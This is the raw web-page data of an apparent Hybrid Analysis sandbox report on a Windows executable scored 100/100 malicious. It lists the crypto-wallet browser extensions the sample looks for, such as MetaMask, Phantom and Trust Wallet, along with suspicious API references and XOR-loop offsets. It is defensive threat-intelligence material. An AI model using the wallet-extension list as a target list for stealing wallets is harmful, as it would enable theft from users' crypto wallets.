24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 51:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4bd,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample a8a451b18143… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a8a451b18143…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 14/24 AV engines flagged this file. 12 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610"],"about":{"@type":"SoftwareApplication","name":"file","applicationCategory":["peexe","executable"],"identifier":"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":14,"total":24},"behavioralIndicators":{"malicious":12,"suspicious":28},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Tb9e,Found string "klnaejjgbibmhlephnhpmaofohgkpgkd" (Indicator: "klnaejjgbibmhlephnhpmaofohgkpgkd"; Source: "sample.bin"), Found string "ejbalbakoplchlghecdalmeeeajnimhm" (Indicator: "ejbalbakoplchlghecdalmeeeajnimhm"; Source: "sample.bin"), Found string "fhmfendgdocmcbmfikdcogofphimnkno" (Indicator: "fhmfendgdocmcbmfikdcogofphimnkno"; Source: "sample.bin"), Found string "ffnbelfdoeiohenkjibnmadjiehjhajb" (Indicator: "ffnbelfdoeiohenkjibnmadjiehjhajb"; Source: "sample.bin"), Found string "bhhhlbepdkbapadjdnnojkbgioiodbic" (Indicator: "bhhhlbepdkbapadjdnnojkbgioiodbic"; Source: "sample.bin"), Found string "nkbihfbeogaeaoehlefnkodbefgpgknn" (Indicator: "nkbihfbeogaeaoehlefnkodbefgpgknn"; Source: "sample.bin"), Found string "ibnejdfjmmkpcnlpebklmnkoeoihofec" (Indicator: "ibnejdfjmmkpcnlpebklmnkoeoihofec"; Source: "sample.bin"), Found string "dlcobpjiigpikoobohmabehhmhfoodbb" (Indicator: "dlcobpjiigpikoobohmabehhmhfoodbb"; Source: "sample.bin"), Found string "kkpllkodjeloidieedojogacfhpaihoh" (Indicator: "kkpllkodjeloidieedojogacfhpaihoh"; Source: "sample.bin"), Found string "fhbohimaelbohpjbbldcngcnapndodjp" (Indicator: "fhbohimaelbohpjbbldcngcnapndodjp"; Source: "sample.bin"), Found string "lgmpcpglpngdoalbgeoldeajfclnhafa" (Indicator: "lgmpcpglpngdoalbgeoldeajfclnhafa"; Source: "sample.bin"), Found string "mcohilncbfahbmgdjkbpemcciiolgcge" (Indicator: "mcohilncbfahbmgdjkbpemcciiolgcge"; Source: "sample.bin"), Found string "omaabbefbmiijedngplfjmnooppbclkk" (Indicator: "omaabbefbmiijedngplfjmnooppbclkk"; Source: "sample.bin"), Found string "jnlgamecbpmbajjfhmmmlhejkemejdma" (Indicator: "jnlgamecbpmbajjfhmmmlhejkemejdma"; Source: "sample.bin"), Found string "afbcbjpbpfadlkmhmclhkeeodmamcflc" (Indicator: "afbcbjpbpfadlkmhmclhkeeodmamcflc"; Source: "sample.bin"), Found string "nlbmnnijcnlegkjjpcfjclmcfggfefdm" (Indicator: "nlbmnnijcnlegkjjpcfjclmcfggfefdm"; Source: "sample.bin"), Found string "dmkamcknogkgcdfhhbddcghachkejeap" (Indicator: "dmkamcknogkgcdfhhbddcghachkejeap"; Source: "sample.bin"), Found string "hpglfhgfnhbgpjdenjgmdgoeiappafln" (Indicator: "hpglfhgfnhbgpjdenjgmdgoeiappafln"; Source: "sample.bin"), Found string "cjelfplplebdjjenllpjcblmjkfcffne" (Indicator: "cjelfplplebdjjenllpjcblmjkfcffne"; Source: "sample.bin"), Found string "ppbibelpcjmhbdihakflkdcoccbgbkpo" (Indicator: "ppbibelpcjmhbdihakflkdcoccbgbkpo"; Source: "sample.bin"), Found string "opcgpfmipidbgpenhmajoajpbobppdil" (Indicator: "opcgpfmipidbgpenhmajoajpbobppdil"; Source: "sample.bin"), Found string "hifafgmccdpekplomjjkcfgodnhcellj" (Indicator: "hifafgmccdpekplomjjkcfgodnhcellj"; Source: "sample.bin"), Found string "fnjhmkhhmkbjkkabndcnnogagogbneec" (Indicator: "fnjhmkhhmkbjkkabndcnnogagogbneec"; Source: "sample.bin"), Found string "@idnnbdplmphpflfnlkomgpfbpcgelopg" (Indicator: "idnnbdplmphpflfnlkomgpfbpcgelopg"; Source: "sample.bin"), Found string "ookjlbkiijinhpmnjffcofjonbfbgaoc" (Indicator: "ookjlbkiijinhpmnjffcofjonbfbgaoc"; Source: "sample.bin")26:T8b3,Observed browser extension: "klnaejjgbibmhlephnhpmaofohgkpgkd" which is related to ZilPay [Source: sample.bin], Observed browser extension: "fhmfendgdocmcbmfikdcogofphimnkno" which is related to Sollet [Source: sample.bin], Observed browser extension: "ffnbelfdoeiohenkjibnmadjiehjhajb" which is related to Yoroi [Source: sample.bin], Observed browser extension: "efbglgofoippbgcjepnhiblaibcnclgk" which is related to Martian Wallet for Sui & Aptos [Source: sample.bin], Observed browser extension: "egjidjbpglichdcondbcbdnbeeppgdph" which is related to Trust Wallet [Source: sample.bin], Observed browser extension: "nkbihfbeogaeaoehlefnkodbefgpgknn" which is related to MetaMask [Source: sample.bin], Observed browser extension: "ibnejdfjmmkpcnlpebklmnkoeoihofec" which is related to TronLink [Source: sample.bin], Observed browser extension: "fhbohimaelbohpjbbldcngcnapndodjp" which is related to Binance Chain Wallet [Source: sample.bin], Observed browser extension: "acmacodkjbdgmoleebolmdjonilkdbch" which is related to Rabby Wallet [Source: sample.bin], Observed browser extension: "bfnaelmomeimhlpmgjnjophhpkkoljpa" which is related to Phantom [Source: sample.bin], Observed browser extension: "afbcbjpbpfadlkmhmclhkeeodmamcflc" which is related to Math Wallet [Source: sample.bin], Observed browser extension: "nlbmnnijcnlegkjjpcfjclmcfggfefdm" which is related to MEW CX [Source: sample.bin], Observed browser extension: "dmkamcknogkgcdfhhbddcghachkejeap" which is related to Keplr [Source: sample.bin], Observed browser extension: "fhilaheimglignddkjgofkcbgekhenbh" which is related to Oxygen [Source: sample.bin], Observed browser extension: "hpglfhgfnhbgpjdenjgmdgoeiappafln" which is related to Guarda [Source: sample.bin], Observed browser extension: "cjelfplplebdjjenllpjcblmjkfcffne" which is related to Jaxx Liberty [Source: sample.bin], Observed browser extension: "fnjhmkhhmkbjkkabndcnnogagogbneec" which is related to Ronin Wallet [Source: sample.bin], Observed browser extension: "ookjlbkiijinhpmnjffcofjonbfbgaoc" which is related to Temple [Source: sample.bin], Observed browser extension: "aholpfdialjgjfhomihkjbmgjidlcdno" which is related to Exodus Web3 Wallet [Source: sample.bin]27:T739,Found reference to API (Indicator: "LoadLibraryA"; Source: "sample.bin"), Found reference to API (Indicator: "TlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleA"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoA"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "IsDBCSLeadByteEx"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathA"; Source: "sample.bin"), Found reference to API (Indicator: "WideCharToMultiByte"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "Local State"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualQuery"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenA"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "DisplayVersion"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "ShellExecuteA"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin")28:T439,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp")29:T71c,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003468.00000000.81496.000D1000.00000020.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00005700.00000002.81112.00F20000.00000004.mdmp")2a:Ta09,Assembly shows XOR instruction xor ebx 01h in Stream UID: 49677-11-004014B0 Assembly shows XOR instruction xor esi ebx in Stream UID: 49677-1789-0087A32A Assembly shows XOR instruction xor ecx 1Fh in Stream UID: 49677-1789-0087A32A Assembly shows XOR instruction xor edx 1Fh in Stream UID: 49677-1789-0087A32A Assembly shows XOR instruction xor eax 1Fh in Stream UID: 49677-1789-0087A32A Assembly shows XOR instruction xor edi 00000000h in Stream UID: 49677-2066-007DAED3 Assembly shows XOR instruction xor ah 00h in Stream UID: 49677-2066-007DAED3 Assembly shows XOR instruction xor bh 00h in Stream UID: 49677-2066-007DAED3 Assembly shows XOR instruction xor ch 00h in Stream UID: 49677-2920-0080760C Assembly shows XOR instruction xor ah 00h in Stream UID: 49677-2920-0080760C Assembly shows XOR instruction xor edi eax in Stream UID: 49677-2920-0080760C Assembly shows XOR instruction xor edi edx in Stream UID: 49677-2920-0080760C Assembly shows XOR instruction xor edi dword ptr [ebp-38h] in Stream UID: 49677-2920-0080760C Assembly shows XOR instruction xor eax dword ptr [ebp-34h] in Stream UID: 49677-2920-0080760C Assembly shows XOR instruction xor edi dword ptr [ebp-48h] in Stream UID: 49677-2920-0080760C Assembly shows XOR instruction xor eax dword ptr [ebp-44h] in Stream UID: 49677-2920-0080760C Assembly shows XOR instruction xor edi 00000000h in Stream UID: 49677-2951-004520CA Assembly shows XOR instruction xor ah 00h in Stream UID: 49677-2951-004520CA Assembly shows XOR instruction xor ah 00h in Stream UID: 49677-4075-00444DA1 Assembly shows XOR instruction xor ch 00h in Stream UID: 49677-4076-0086A887 Assembly shows XOR instruction xor ah 00h in Stream UID: 49677-4076-0086A887 Assembly shows XOR instruction xor eax FFFFFFFFh in Stream UID: 49677-4727-004571CC Assembly shows XOR instruction xor ah 00h in Stream UID: 49677-4727-004571CC Assembly shows XOR instruction xor edi 00000000h in Stream UID: 49677-4727-004571CC Assembly shows XOR instruction xor eax ecx in Stream UID: 49677-5215-00472EE8 Assembly shows XOR instruction xor eax ebx in Stream UID: 49677-5215-00472EE8 Assembly shows XOR instruction xor bh 00h in Stream UID: 49677-21727-007E4B3B Assembly shows XOR instruction xor ah 00h in Stream UID: 49677-21727-007E4B3B Assembly shows XOR instruction xor edi 00000000h in Stream UID: 49677-23172-0086EE4E Assembly shows XOR instruction xor ah 00h in Stream UID: 49677-23172-0086EE4E Assembly shows XOR instruction xor esi 00000000h in Stream UID: 49677-23172-0086EE4E2b:T6db7,Found XOR loop in file "DISMHOST.EXE.6A9E4442.bin" at offset 76665; code bytes = 30d0 Found XOR loop in file "DISMHOST.EXE.6A9E4442.bin" at offset 77648; code bytes = 8030 Found XOR loop in file "DISMHOST.EXE.6A9E4442.bin" at offset 77788; code bytes = 8030 Found XOR loop in file "DISMHOST.EXE.6A9E4442.bin" at offset 78978; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 528308; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 976180; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1244190; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1702942; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2224520; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2552786; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3271708; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3786253; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5027643; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5032181; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5040441; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5048701; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5058141; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5066401; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5073115; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5078961; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5087221; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5095481; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5103741; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5112001; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5120261; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5128521; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5136781; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5145041; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5153301; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5161561; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5169821; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5178081; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5186341; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5194601; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5202861; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5211121; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5219381; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5227641; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5235901; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5245341; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5253601; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5261861; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5270121; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5278381; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5286641; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5294901; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5303161; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5311421; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5319681; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5327941; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5336201; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5344461; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5352721; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5360981; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5369241; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5377501; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5385761; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5394021; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5402281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5410541; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5419981; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5428241; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5436501; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5444761; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5453021; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5461281; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5469541; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5477801; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5486061; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5494321; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5502581; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5510841; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5519101; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5527361; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5535621; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5543881; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5552141; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5560401; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5568661; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5576921; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5586361; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5594621; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5602881; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5611141; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5619401; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5627661; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5635921; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5644181; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5652441; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5660701; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5668961; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5677221; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5685481; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5693741; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5702001; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5710261; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5718521; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5726781; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5735041; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5743301; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5751561; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5752741; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5761001; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5769261; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5777521; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5785781; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5794041; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5802301; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5810561; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5818821; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5827081; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5835341; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5843601; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5851861; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5860121; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5868381; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5876641; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5884901; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5893161; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5901421; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5909681; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5917941; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5926013; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5943661; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5945533; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5948725; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6020359; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6024244; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 501449; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 949321; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1217331; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1676083; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2197661; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2525927; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3244849; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5035937; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5044197; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5052457; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5061897; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5074457; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5082717; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5090977; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5099237; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5107497; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5115757; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5124017; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5132277; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5140537; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5148797; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5157057; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5165317; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5173577; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5181837; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5190097; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5198357; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5206617; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5214877; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5223137; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5231397; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5239657; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5249097; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5257357; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5265617; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5273877; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5282137; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5290397; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5298657; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5306917; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5315177; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5323437; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5331697; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5339957; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5348217; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5356477; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5364737; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5372997; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5381257; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5389517; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5397777; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5406037; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5415477; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5423737; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5431997; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5440257; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5448517; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5456777; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5465037; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5473297; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5481557; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5489817; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5498077; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5506337; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5514597; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5522857; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5531117; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5539377; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5547637; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5555897; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5564157; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5572417; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5580677; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5590117; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5598377; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5606637; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5614897; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5623157; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5631417; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5639677; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5647937; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5656197; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5664457; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5672717; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5680977; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5689237; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5697497; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5705757; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5714017; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5722277; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5730537; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5738797; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5747057; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5756497; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5764757; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5773017; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5781277; code bytes = 33c1 